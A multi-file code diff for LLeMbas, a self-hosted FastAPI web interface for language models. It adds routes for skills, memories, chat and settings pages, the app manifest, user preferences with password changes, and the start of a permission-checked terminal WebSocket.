async def skills_list(request: Request, db: Db, user: RequiredUser, q: str = "", page: int = 1):
|
||||
if q.strip():
|
||||
rows = skills_service.search(db, user, q, limit=PAGE_SIZE)
|
||||
pager = {"page": 1, "pages": 1, "total": len(rows)}
|
||||
else:
|
||||
rows, pager = _page(db, skills_service.visible(db, user).order_by(Skill.name), page)
|
||||
return render(
|
||||
request,
|
||||
"library/skills.html",
|
||||
{
|
||||
"section": "skills",
|
||||
"skills": rows,
|
||||
"q": q,
|
||||
"pager": pager,
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/library/skills/new")
|
||||
async def new_skill(request: Request, db: Db, user: RequiredUser):
|
||||
return render(
|
||||
request,
|
||||
"library/skill_detail.html",
|
||||
{"section": "skills", "skill": None, **sidebar_context(db, user)},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/library/skills/{skill_id}")
|
||||
async def skill_detail(request: Request, db: Db, user: RequiredUser, skill_id: str):
|
||||
skill = skills_service.get(db, skill_id, user)
|
||||
if skill is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
|
||||
return render(
|
||||
request,
|
||||
"library/skill_detail.html",
|
||||
{
|
||||
"section": "skills",
|
||||
"skill": skill,
|
||||
"revisions": skill.revisions,
|
||||
**_shared_context(db, user, skill),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/library/skills")
|
||||
async def create_skill(
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
name: str = Form(""),
|
||||
description: str = Form(""),
|
||||
body: str = Form(""),
|
||||
) -> Response:
|
||||
try:
|
||||
skill = skills_service.create(
|
||||
db, owner=user, name=name, description=description, body=body, author=AUTHOR_USER
|
||||
)
|
||||
except skills_service.SkillError as exc:
|
||||
raise HTTPException(status.HTTP_400_BAD_REQUEST, str(exc)) from exc
|
||||
return RedirectResponse(f"/library/skills/{skill.id}", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/api/library/skills/{skill_id}")
|
||||
async def update_skill(request: Request, db: Db, user: RequiredUser, skill_id: str) -> Response:
|
||||
skill = skills_service.get(db, skill_id, user)
|
||||
if skill is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
|
||||
if not sharing.can_write(skill, user):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "That skill is not yours to change.")
|
||||
|
||||
form = await request.form()
|
||||
skills_service.update(
|
||||
db,
|
||||
skill,
|
||||
description=str(form.get("description", "")),
|
||||
body=str(form.get("body", "")),
|
||||
enabled="enabled" in form,
|
||||
author=AUTHOR_USER,
|
||||
note="edited by hand",
|
||||
)
|
||||
_apply_shares(db, user, skill, form)
|
||||
return RedirectResponse(f"/library/skills/{skill.id}", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/api/library/skills/{skill_id}/revert/{revision_id}")
|
||||
async def revert_skill(
|
||||
db: Db, user: RequiredUser, skill_id: str, revision_id: str
|
||||
) -> Response:
|
||||
skill = skills_service.get(db, skill_id, user)
|
||||
if skill is None or not sharing.can_write(skill, user):
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
|
||||
revision = db.get(SkillRevision, revision_id)
|
||||
if revision is None or revision.skill_id != skill.id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That revision no longer exists.")
|
||||
|
||||
skills_service.revert(db, skill, revision, author=AUTHOR_USER)
|
||||
return RedirectResponse(f"/library/skills/{skill.id}", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/api/library/skills/{skill_id}/delete")
|
||||
async def delete_skill(db: Db, user: RequiredUser, skill_id: str) -> Response:
|
||||
skill = skills_service.get(db, skill_id, user)
|
||||
if skill is None or not sharing.can_write(skill, user):
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That skill is not available.")
|
||||
skills_service.delete(db, skill)
|
||||
return RedirectResponse("/library/skills", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
# --- Memory ------------------------------------------------------------------
|
||||
# Lives in Settings rather than in the library: it is a set of short facts about
|
||||
# the reader, not content they collected.
|
||||
@router.post("/api/library/memories")
|
||||
async def add_memory(db: Db, user: RequiredUser, content: str = Form("")) -> Response:
|
||||
try:
|
||||
memories_service.add(db, owner=user, content=content, author=AUTHOR_USER)
|
||||
except ValueError as exc:
|
||||
from urllib.parse import quote
|
||||
|
||||
return RedirectResponse(
|
||||
f"/settings?error={quote(str(exc))}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
return RedirectResponse(
|
||||
"/settings?saved=Memory+added.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/library/memories/{memory_id}")
|
||||
async def update_memory(
|
||||
db: Db, user: RequiredUser, memory_id: str, content: str = Form("")
|
||||
) -> Response:
|
||||
memory = memories_service.get(db, memory_id, user)
|
||||
if memory is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That memory no longer exists.")
|
||||
try:
|
||||
memories_service.update(db, memory, content)
|
||||
except ValueError as exc:
|
||||
raise HTTPException(status.HTTP_400_BAD_REQUEST, str(exc)) from exc
|
||||
return RedirectResponse(
|
||||
"/settings?saved=Memory+updated.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/library/memories/{memory_id}/delete")
|
||||
async def delete_memory(db: Db, user: RequiredUser, memory_id: str) -> Response:
|
||||
memory = memories_service.get(db, memory_id, user)
|
||||
if memory is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That memory no longer exists.")
|
||||
memories_service.delete(db, memory)
|
||||
return RedirectResponse(
|
||||
"/settings?saved=Memory+removed.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
@@ -0,0 +1,444 @@
|
||||
"""Full-page routes: the chat shell and the user's own settings."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from fastapi import APIRouter, HTTPException, Request, Response, status
|
||||
from fastapi.responses import FileResponse, JSONResponse, RedirectResponse
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser
|
||||
from lembas.db.models import Chat, Folder, KnowledgeBase, Message, User
|
||||
from lembas.security import permissions
|
||||
from lembas.services import audio as audio_service
|
||||
from lembas.services import chat as chat_service
|
||||
from lembas.services import compaction as compaction_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.services import suggestions as suggestions_service
|
||||
from lembas.services.library import documents as documents_service
|
||||
from lembas.services.markdown import render_markdown
|
||||
from lembas.web.templating import STATIC_DIR, render
|
||||
|
||||
router = APIRouter(tags=["pages"])
|
||||
|
||||
# Matches --bg for each theme in tokens.css. Duplicated here because the
|
||||
# manifest is JSON read by the operating system before any stylesheet exists;
|
||||
# there is nowhere for a CSS variable to resolve.
|
||||
THEME_COLOUR = {"moria": "#101317", "shire": "#F6F1E4"}
|
||||
|
||||
|
||||
def _chat_context(db: DBSession, user: User, chat: Chat | None) -> dict:
|
||||
"""Model lists and permissions every chat page needs.
|
||||
|
||||
Pinned and unpinned are split here rather than in the template so the
|
||||
picker's optgroups stay a plain loop.
|
||||
"""
|
||||
models = chat_service.available_models(db, user)
|
||||
current = next((m for m in models if m.model_id == chat.model_id), None) if chat else None
|
||||
return {
|
||||
"models": models,
|
||||
# For the sidebar shortcuts only. The picker lists `models` in the
|
||||
# administrator's order, pinned or not.
|
||||
"pinned_models": [m for m in models if m.pinned],
|
||||
"current_model": current,
|
||||
# Assistant bubbles show the avatar of the model that wrote them, which
|
||||
# may not be the model the chat is set to now. Keyed by model_id, the
|
||||
# denormalised value stored on each message.
|
||||
"models_by_id": {m.model_id: m for m in models},
|
||||
# Offered in the chat settings panel so a conversation can be pointed at
|
||||
# particular bases. Empty when the reader has none, and the panel then
|
||||
# shows nothing rather than an empty control.
|
||||
"knowledge_bases": (
|
||||
list(
|
||||
db.scalars(
|
||||
documents_service.visible_bases(db, user).order_by(KnowledgeBase.name)
|
||||
)
|
||||
)
|
||||
if permissions.has(db, user, "library.use")
|
||||
else []
|
||||
),
|
||||
"attached_base_ids": [base.id for base in chat.knowledge_bases] if chat else [],
|
||||
# The three a reasoning model understands. From the service so the
|
||||
# command, the control and the request builder cannot disagree about
|
||||
# what is a valid effort.
|
||||
"efforts": chat_service.EFFORTS,
|
||||
# What the picker shows, and what `build_request` will send. One
|
||||
# resolver so the two cannot disagree.
|
||||
"resolved_effort": chat_service.resolved_effort(chat) if chat else "",
|
||||
**_scope_context(db, user, chat),
|
||||
**_agent_context(db, user, chat),
|
||||
**audio_service.template_flags(db, user),
|
||||
}
|
||||
|
||||
|
||||
def _scope_context(db: DBSession, user: User, chat: Chat | None) -> dict:
|
||||
"""What this chat may use, for the menu that narrows it.
|
||||
|
||||
Only for an existing chat: there is no row to write to before one exists,
|
||||
and a menu whose choices went nowhere would be worse than no menu. The
|
||||
families listed are the ones actually offered *right now*, so the menu never
|
||||
shows a switch for something the model, the reader's permissions or the
|
||||
instance has already ruled out -- turning that on would do nothing, since
|
||||
`resolve_tools` applies this after the gates.
|
||||
"""
|
||||
from lembas.services import tool_labels
|
||||
from lembas.services import tools as tools_service
|
||||
from lembas.services.library import skills as skills_service
|
||||
|
||||
if chat is None:
|
||||
return {"scope_families": [], "scope_skills": []}
|
||||
|
||||
off = tools_service.scoped_off(chat)
|
||||
skills_off = tools_service.scoped_skills_off(chat)
|
||||
|
||||
# Gates rather than tool names: `notes` is one switch, not five, which is
|
||||
# the same reasoning the per-model capability checkboxes carry.
|
||||
seen: dict[str, str] = {}
|
||||
for tool in tools_service.resolve_tools(db, chat, user).defs:
|
||||
seen.setdefault(tools_service.gate_of(tool.family), tool.name)
|
||||
# Anything already switched off is absent from the offered set, so it has to
|
||||
# be put back or there would be no way to turn it on again.
|
||||
for gate in off:
|
||||
seen.setdefault(gate, "")
|
||||
|
||||
families = [
|
||||
{
|
||||
"gate": gate,
|
||||
"label": _GATE_LABELS.get(gate) or tool_labels.label_for(example) or gate,
|
||||
"on": gate not in off,
|
||||
}
|
||||
for gate, example in sorted(seen.items())
|
||||
]
|
||||
|
||||
skills = []
|
||||
if permissions.has(db, user, "library.use"):
|
||||
skills = [
|
||||
{
|
||||
"name": skill.name,
|
||||
"description": skill.description,
|
||||
"on": skill.name not in skills_off,
|
||||
}
|
||||
for skill in skills_service.enabled_for(db, user)
|
||||
]
|
||||
for name in sorted(skills_off):
|
||||
if name not in {s["name"] for s in skills}:
|
||||
skills.append({"name": name, "description": "", "on": False})
|
||||
|
||||
return {"scope_families": families, "scope_skills": skills}
|
||||
|
||||
|
||||
# What a gate is called in the menu. A gate covers several tools, so no single
|
||||
# tool's label is the right name for it.
|
||||
_GATE_LABELS = {
|
||||
"web_search": "Web search",
|
||||
"fetch": "Fetching pages",
|
||||
"knowledge": "Your knowledge library",
|
||||
"notes": "Notes",
|
||||
"memory": "Memory",
|
||||
"skills": "Skills",
|
||||
"ask": "Asking you questions",
|
||||
"agent": "Running commands",
|
||||
"custom": "Custom tools",
|
||||
"mcp": "MCP servers",
|
||||
}
|
||||
|
||||
|
||||
def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict:
|
||||
"""What the composer and the chat header need to know about agent chats.
|
||||
|
||||
`agent_profiles` is empty unless every one of the conditions holds -- the
|
||||
feature is on, the reader may run commands, and they have a usable
|
||||
connection -- which is what makes the picker appear only when choosing it
|
||||
would lead anywhere.
|
||||
"""
|
||||
from lembas.db.models import SshProfile
|
||||
from lembas.services.agent import policy as agent_policy
|
||||
|
||||
profiles: list[SshProfile] = []
|
||||
if settings_store.agents(db).get("enabled") and permissions.has(db, user, "tools.agent"):
|
||||
profiles = list(
|
||||
db.scalars(
|
||||
select(SshProfile)
|
||||
.where(SshProfile.owner_id == user.id, SshProfile.enabled.is_(True))
|
||||
.order_by(SshProfile.name)
|
||||
)
|
||||
)
|
||||
|
||||
current = None
|
||||
if chat is not None and chat.ssh_profile_id:
|
||||
current = db.get(SshProfile, chat.ssh_profile_id)
|
||||
if current is not None and current.owner_id != user.id:
|
||||
current = None
|
||||
|
||||
return {
|
||||
"agent_profiles": profiles,
|
||||
"agent_profile": current,
|
||||
"agent_modes": [
|
||||
(m, agent_policy.MODE_LABELS[m], agent_policy.MODE_HINTS[m])
|
||||
for m in agent_policy.MODES
|
||||
],
|
||||
"terminal_enabled": _terminal_enabled(db, user, chat, current),
|
||||
}
|
||||
|
||||
|
||||
def _terminal_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool:
|
||||
"""Whether this chat can offer a shell of its own.
|
||||
|
||||
Every condition, not a subset: the button loads 280KB of terminal and opens
|
||||
a socket, so one that cannot work is worse than none. `ssh.available()` is
|
||||
in here because an instance that installed LLeMbas without the `ssh` extra
|
||||
would otherwise render a button whose only outcome is an error frame.
|
||||
"""
|
||||
from lembas.db.models import KIND_AGENT
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
|
||||
if chat is None or chat.kind != KIND_AGENT or profile is None:
|
||||
return False
|
||||
if not permissions.has(db, user, "agent.terminal"):
|
||||
return False
|
||||
values = settings_store.agents(db)
|
||||
if not values.get("enabled") or not values.get("terminal_enabled", True):
|
||||
return False
|
||||
return ssh_service.available() == ""
|
||||
|
||||
|
||||
def sidebar_context(db: DBSession, user: User) -> dict:
|
||||
"""Folder tree plus the chats that belong to no folder.
|
||||
|
||||
Public because every page carrying the chat sidebar needs it, which now
|
||||
includes the library.
|
||||
|
||||
Only root folders are queried; children come through the relationship and
|
||||
render recursively in the template.
|
||||
"""
|
||||
folders = list(
|
||||
db.scalars(
|
||||
select(Folder)
|
||||
.where(Folder.user_id == user.id, Folder.parent_id.is_(None))
|
||||
.order_by(Folder.position, Folder.name)
|
||||
)
|
||||
)
|
||||
unfiled = list(
|
||||
db.scalars(
|
||||
select(Chat)
|
||||
.where(
|
||||
Chat.user_id == user.id,
|
||||
Chat.folder_id.is_(None),
|
||||
Chat.archived.is_(False),
|
||||
Chat.temporary.is_(False),
|
||||
)
|
||||
.order_by(Chat.pinned.desc(), Chat.updated_at.desc())
|
||||
)
|
||||
)
|
||||
return {
|
||||
"folders": folders,
|
||||
"unfiled_chats": unfiled,
|
||||
"can": permissions.resolve(db, user),
|
||||
}
|
||||
|
||||
|
||||
@router.get("/")
|
||||
async def home(user: RequiredUser):
|
||||
return RedirectResponse("/chat", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
# --- Installing as an app -----------------------------------------------------
|
||||
# All three routes below are deliberately unauthenticated. A browser fetches a
|
||||
# manifest and a service worker outside any page's session, and an offline page
|
||||
# has by definition no server to ask who is looking at it.
|
||||
|
||||
|
||||
@router.get("/manifest.webmanifest", include_in_schema=False)
|
||||
async def manifest(db: Db) -> Response:
|
||||
"""The web app manifest.
|
||||
|
||||
A route rather than a static file because the name is an instance setting,
|
||||
and an installed app showing "LLeMbas" when the instance is called something
|
||||
else would be wrong on the one screen that is hardest to correct: the
|
||||
launcher.
|
||||
"""
|
||||
name = settings_store.get(db, "instance_name") or "LLeMbas"
|
||||
return JSONResponse(
|
||||
{
|
||||
"id": "/",
|
||||
"name": name,
|
||||
"short_name": name[:12],
|
||||
"description": "A web UI for your language models.",
|
||||
"start_url": "/chat",
|
||||
"scope": "/",
|
||||
"display": "standalone",
|
||||
"background_color": THEME_COLOUR["moria"],
|
||||
"theme_color": THEME_COLOUR["moria"],
|
||||
"icons": [
|
||||
{"src": "/static/img/icon-192.png", "sizes": "192x192",
|
||||
"type": "image/png", "purpose": "any"},
|
||||
{"src": "/static/img/icon-512.png", "sizes": "512x512",
|
||||
"type": "image/png", "purpose": "any"},
|
||||
{"src": "/static/img/icon-maskable-512.png", "sizes": "512x512",
|
||||
"type": "image/png", "purpose": "maskable"},
|
||||
],
|
||||
},
|
||||
media_type="application/manifest+json",
|
||||
)
|
||||
|
||||
|
||||
@router.get("/sw.js", include_in_schema=False)
|
||||
async def service_worker() -> Response:
|
||||
"""The service worker, served from the root.
|
||||
|
||||
A worker may only control pages at or below the path it was served from, so
|
||||
one delivered by the /static mount would have scope /static/js/ and control
|
||||
nothing. Serving it here is simpler than the Service-Worker-Allowed header
|
||||
that would be needed otherwise.
|
||||
|
||||
no-store because a stale worker is a worker that keeps serving a stale
|
||||
cache: the one file in the application that must never be held onto.
|
||||
"""
|
||||
return FileResponse(
|
||||
STATIC_DIR / "js" / "sw.js",
|
||||
media_type="text/javascript",
|
||||
headers={"Cache-Control": "no-store"},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/offline", include_in_schema=False)
|
||||
async def offline(request: Request) -> Response:
|
||||
return render(request, "offline.html", {})
|
||||
|
||||
|
||||
@router.get("/chat")
|
||||
async def chat_index(
|
||||
request: Request, db: Db, user: RequiredUser, model: str = "", temporary: bool = False
|
||||
):
|
||||
"""A composer with no chat behind it yet.
|
||||
|
||||
`?model=` preselects one, which is how the pinned shortcuts work without
|
||||
creating a row for a chat that may never be sent. `?temporary=1` is the
|
||||
same idea for the temporary flag: it lives in the URL rather than in
|
||||
JavaScript, so it survives a reload and can be bookmarked.
|
||||
"""
|
||||
context = _chat_context(db, user, None)
|
||||
|
||||
# Fall back to the same choice a new chat would make -- the user's default,
|
||||
# then the instance default, then first in order. Using models[0] here
|
||||
# instead would show a model the chat is not going to use, which matters:
|
||||
# the composer decides from it whether to warn that images will be dropped.
|
||||
preselected = next((m for m in context["models"] if m.model_id == model), None)
|
||||
if preselected is None:
|
||||
chosen = chat_service.default_model(db, user)
|
||||
if chosen is not None:
|
||||
preselected = next(
|
||||
(m for m in context["models"] if m.model_id == chosen[0]), None
|
||||
)
|
||||
if preselected is None and context["models"]:
|
||||
preselected = context["models"][0]
|
||||
|
||||
return render(
|
||||
request,
|
||||
"chat/index.html",
|
||||
{
|
||||
"chat": None,
|
||||
"messages": [],
|
||||
"bodies": {},
|
||||
**context,
|
||||
"current_model": preselected,
|
||||
"starting_temporary": temporary,
|
||||
"suggestions": suggestions_service.visible(db),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/chat/{chat_id}")
|
||||
async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str):
|
||||
chat = db.get(Chat, chat_id)
|
||||
if chat is None or chat.user_id != user.id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
|
||||
|
||||
# Opening the chat is what "read" means.
|
||||
if chat.unread:
|
||||
chat.unread = False
|
||||
chat.unread_notified = False
|
||||
db.commit()
|
||||
|
||||
everything = list(
|
||||
db.scalars(
|
||||
select(Message).where(Message.chat_id == chat.id).order_by(Message.created_at)
|
||||
)
|
||||
)
|
||||
# Summarised turns are kept and still rendered, behind a divider -- they
|
||||
# have only stopped being part of the request.
|
||||
compacted, messages = compaction_service.split(db, chat, everything)
|
||||
|
||||
# Markdown is rendered once here rather than in the template so the same
|
||||
# helper produces the page and the streamed final frame -- one code path,
|
||||
# no chance of the two disagreeing.
|
||||
bodies = {
|
||||
message.id: render_markdown(message.content)
|
||||
for message in everything
|
||||
if message.role == "assistant" and message.content
|
||||
}
|
||||
|
||||
# What the chat would use if its own prompt were empty, so the settings
|
||||
# panel can show it as placeholder text rather than leaving the user to
|
||||
# guess what "inherited" means.
|
||||
inherited, inherited_from = "", ""
|
||||
current = next(
|
||||
(m for m in chat_service.available_models(db, user) if m.model_id == chat.model_id), None
|
||||
)
|
||||
if current is not None and (current.system_prompt or "").strip():
|
||||
inherited, inherited_from = current.system_prompt.strip(), "model"
|
||||
else:
|
||||
instance_prompt = (settings_store.get(db, "system_prompt") or "").strip()
|
||||
if instance_prompt:
|
||||
inherited, inherited_from = instance_prompt, "instance"
|
||||
|
||||
return render(
|
||||
request,
|
||||
"chat/index.html",
|
||||
{
|
||||
"chat": chat,
|
||||
"messages": messages,
|
||||
"compacted": compacted,
|
||||
"bodies": bodies,
|
||||
"inherited_prompt": inherited,
|
||||
"inherited_from": inherited_from,
|
||||
**_chat_context(db, user, chat),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/settings")
|
||||
async def settings_page(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
error: str = "",
|
||||
saved: str = "",
|
||||
):
|
||||
from lembas.api.audio import available_voices
|
||||
from lembas.services.library import memories as memories_service
|
||||
|
||||
context = _chat_context(db, user, None)
|
||||
# Fetched here rather than by the template so a speech server that is down
|
||||
# leaves the page renderable, with the reason beside an empty list.
|
||||
voices, voice_error = await available_voices(context["audio"])
|
||||
|
||||
# error/saved arrive as query parameters because the password form redirects
|
||||
# back here: a POST that re-rendered in place would re-submit on refresh.
|
||||
return render(
|
||||
request,
|
||||
"settings.html",
|
||||
{
|
||||
"chat": None,
|
||||
"error": error,
|
||||
"saved": saved,
|
||||
"voices": voices,
|
||||
"voice_error": voice_error,
|
||||
"memories": memories_service.all_for(db, user),
|
||||
"memory_limit": memories_service.MAX_MEMORY_CHARS,
|
||||
**context,
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
@@ -0,0 +1,204 @@
|
||||
"""Per-user preferences set from the browser."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import contextlib
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Body, Form, Request, status
|
||||
from fastapi.responses import RedirectResponse, Response
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser
|
||||
from lembas.config import settings
|
||||
from lembas.security.passwords import hash_password, validate_password, verify_password
|
||||
from lembas.security.sessions import COOKIE_NAME, create_session, revoke_all_for_user
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/api/preferences", tags=["preferences"])
|
||||
|
||||
THEMES = ("moria", "shire")
|
||||
|
||||
|
||||
@router.post("/theme")
|
||||
async def set_theme(db: Db, user: RequiredUser, theme: str = Body(..., embed=True)) -> dict:
|
||||
"""Mirror the browser's theme choice onto the account.
|
||||
|
||||
localStorage is the source of truth for the current tab; this is what makes
|
||||
the choice follow the user to another browser, and what lets the server
|
||||
render the right theme on first paint instead of flashing the default.
|
||||
"""
|
||||
if theme not in THEMES:
|
||||
return {"ok": False, "detail": "Unknown theme."}
|
||||
|
||||
# Replaced rather than mutated in place: SQLAlchemy only reliably detects
|
||||
# a change to a JSON column when the whole value is reassigned.
|
||||
user.settings_json = {**(user.settings_json or {}), "theme": theme}
|
||||
db.commit()
|
||||
return {"ok": True, "theme": theme}
|
||||
|
||||
|
||||
# Which CSS variables a browser is allowed to set from here, and how far. An
|
||||
# open dict would let a page store anything under somebody's account and have
|
||||
# it read back on every load; a width outside these bounds would hand them a
|
||||
# panel they cannot see to drag back.
|
||||
LAYOUT_BOUNDS = {
|
||||
"--terminal-width": (384, 2400),
|
||||
"--inspector-width": (280, 2400),
|
||||
"--sidebar-width": (200, 800),
|
||||
}
|
||||
|
||||
|
||||
@router.post("/layout")
|
||||
async def set_layout(db: Db, user: RequiredUser, widths: dict = Body(...)) -> dict:
|
||||
"""Remember how wide somebody dragged the panels.
|
||||
|
||||
Same two tiers as the theme: `localStorage` is the truth for the tab that
|
||||
did the dragging, and this is what carries it to another browser. Unknown
|
||||
names are dropped rather than refused -- an older browser sending a key a
|
||||
newer release removed should not fail the request.
|
||||
"""
|
||||
kept: dict[str, int] = {}
|
||||
for name, raw in (widths or {}).items():
|
||||
bounds = LAYOUT_BOUNDS.get(str(name))
|
||||
if bounds is None:
|
||||
continue
|
||||
try:
|
||||
value = int(float(raw))
|
||||
except (TypeError, ValueError):
|
||||
continue
|
||||
kept[str(name)] = min(max(value, bounds[0]), bounds[1])
|
||||
|
||||
settings = {**(user.settings_json or {})}
|
||||
settings["layout"] = {**(settings.get("layout") or {}), **kept}
|
||||
user.settings_json = settings
|
||||
db.commit()
|
||||
return {"ok": True, "layout": kept}
|
||||
|
||||
|
||||
@router.post("/default-model")
|
||||
async def set_default_model(
|
||||
db: Db, user: RequiredUser, model_id: str = Form("")
|
||||
) -> Response:
|
||||
"""Choose which model new chats start with.
|
||||
|
||||
An empty value clears the choice and falls back to the instance default.
|
||||
Validated against what this user can actually reach, so a model they lose
|
||||
access to cannot linger as a preference that silently fails later.
|
||||
"""
|
||||
from lembas.security import permissions
|
||||
|
||||
model_id = model_id.strip()
|
||||
if model_id and not permissions.can_use_model(db, user, model_id):
|
||||
return RedirectResponse(
|
||||
"/settings?error=That+model+is+not+available+to+you.", status_code=303
|
||||
)
|
||||
|
||||
settings_map = {**(user.settings_json or {})}
|
||||
if model_id:
|
||||
settings_map["default_model"] = model_id
|
||||
else:
|
||||
settings_map.pop("default_model", None)
|
||||
user.settings_json = settings_map
|
||||
db.commit()
|
||||
|
||||
return RedirectResponse("/settings?saved=Default+model+updated.", status_code=303)
|
||||
|
||||
|
||||
@router.post("/audio")
|
||||
async def set_audio(
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
voice: str = Form(""),
|
||||
speed: str = Form(""),
|
||||
language: str = Form(""),
|
||||
autoplay: bool = Form(False),
|
||||
) -> Response:
|
||||
"""Per-reader audio choices, overriding the instance defaults.
|
||||
|
||||
The voice is deliberately not checked against the discovered list. Voices
|
||||
come and go when a speech server is reconfigured, and rejecting a saved
|
||||
preference because a list fetched a moment ago did not mention it would be
|
||||
a confusing failure with no obvious fix.
|
||||
"""
|
||||
chosen: dict[str, object] = {"autoplay": autoplay}
|
||||
if voice.strip():
|
||||
chosen["voice"] = voice.strip()[:120]
|
||||
if language.strip():
|
||||
chosen["language"] = language.strip()[:16]
|
||||
if speed.strip():
|
||||
# An unreadable speed leaves the default in place rather than failing:
|
||||
# nothing else on the form should be lost to a typo in one field.
|
||||
with contextlib.suppress(ValueError):
|
||||
chosen["speed"] = min(max(float(speed), 0.25), 4.0)
|
||||
|
||||
# Whole-dict reassignment: an in-place edit of a JSON column is not
|
||||
# reliably detected as a change.
|
||||
user.settings_json = {**(user.settings_json or {}), "audio": chosen}
|
||||
db.commit()
|
||||
return RedirectResponse("/settings?saved=Audio+preferences+updated.", status_code=303)
|
||||
|
||||
|
||||
@router.post("/password")
|
||||
async def change_password(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
current_password: str = Form(...),
|
||||
new_password: str = Form(...),
|
||||
confirm_password: str = Form(...),
|
||||
) -> Response:
|
||||
"""Change your own password.
|
||||
|
||||
Every other session is revoked on success. If the reason for changing a
|
||||
password is that someone else knows it, leaving their session alive would
|
||||
defeat the point.
|
||||
"""
|
||||
|
||||
def back(message: str, ok: bool = False) -> Response:
|
||||
from urllib.parse import quote
|
||||
|
||||
field = "saved" if ok else "error"
|
||||
return RedirectResponse(
|
||||
f"/settings?{field}={quote(message)}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
if not verify_password(current_password, user.password_hash):
|
||||
log.info("failed password change for %s: current password wrong", user.email)
|
||||
return back("Your current password is not correct.")
|
||||
|
||||
if new_password != confirm_password:
|
||||
return back("The new passwords do not match.")
|
||||
|
||||
if (problem := validate_password(new_password)) is not None:
|
||||
return back(problem)
|
||||
|
||||
if verify_password(new_password, user.password_hash):
|
||||
return back("That is already your password.")
|
||||
|
||||
user.password_hash = hash_password(new_password)
|
||||
db.commit()
|
||||
|
||||
revoke_all_for_user(db, user)
|
||||
token = create_session(
|
||||
db,
|
||||
user,
|
||||
user_agent=request.headers.get("user-agent", ""),
|
||||
ip_address=request.client.host if request.client else "",
|
||||
)
|
||||
log.info("password changed for %s; other sessions revoked", user.email)
|
||||
|
||||
# revoke_all_for_user killed this session too, so hand back a fresh cookie
|
||||
# -- otherwise changing your password would sign you out of the tab you are
|
||||
# standing in.
|
||||
response = back("Password changed. Any other sessions have been signed out.", ok=True)
|
||||
response.set_cookie(
|
||||
COOKIE_NAME,
|
||||
token,
|
||||
max_age=settings.session_ttl,
|
||||
httponly=True,
|
||||
samesite="lax",
|
||||
secure=False,
|
||||
path="/",
|
||||
)
|
||||
return response
|
||||
@@ -0,0 +1,326 @@
|
||||
"""The socket behind the terminal panel.
|
||||
|
||||
A WebSocket rather than SSE, because SSE is one-directional and a terminal is
|
||||
not: keystrokes have to go up, and an HTTP round trip per keypress is not a
|
||||
terminal. It is the only WebSocket in LLeMbas, and it is worth saying what that
|
||||
costs -- a cross-site page that could reach this endpoint would have a shell on
|
||||
somebody's machine, not merely a copy of their chat. So there are two locks on
|
||||
the door, and this module is mostly them.
|
||||
|
||||
**Where a refusal happens is load-bearing.** A browser tells a page nothing
|
||||
about a handshake that *failed*: `new WebSocket()` fires `error` with no status
|
||||
and no reason. So the socket is accepted first and the reason sent as a frame
|
||||
for everything a person could act on -- no permission, the connection is
|
||||
disabled, its host key was never confirmed -- and refused before accepting only
|
||||
for the two cases where accepting is itself the risk.
|
||||
|
||||
It holds no database session. A dependency would keep one open for the hour a
|
||||
shell sits at a prompt; `session_scope()` opens one for the authorisation and
|
||||
closes it, exactly as `generation._run` does.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import contextlib
|
||||
import json
|
||||
import logging
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
from fastapi import APIRouter, HTTPException, WebSocket, WebSocketDisconnect, status
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser
|
||||
from lembas.db.models import KIND_AGENT, Chat
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.security import permissions
|
||||
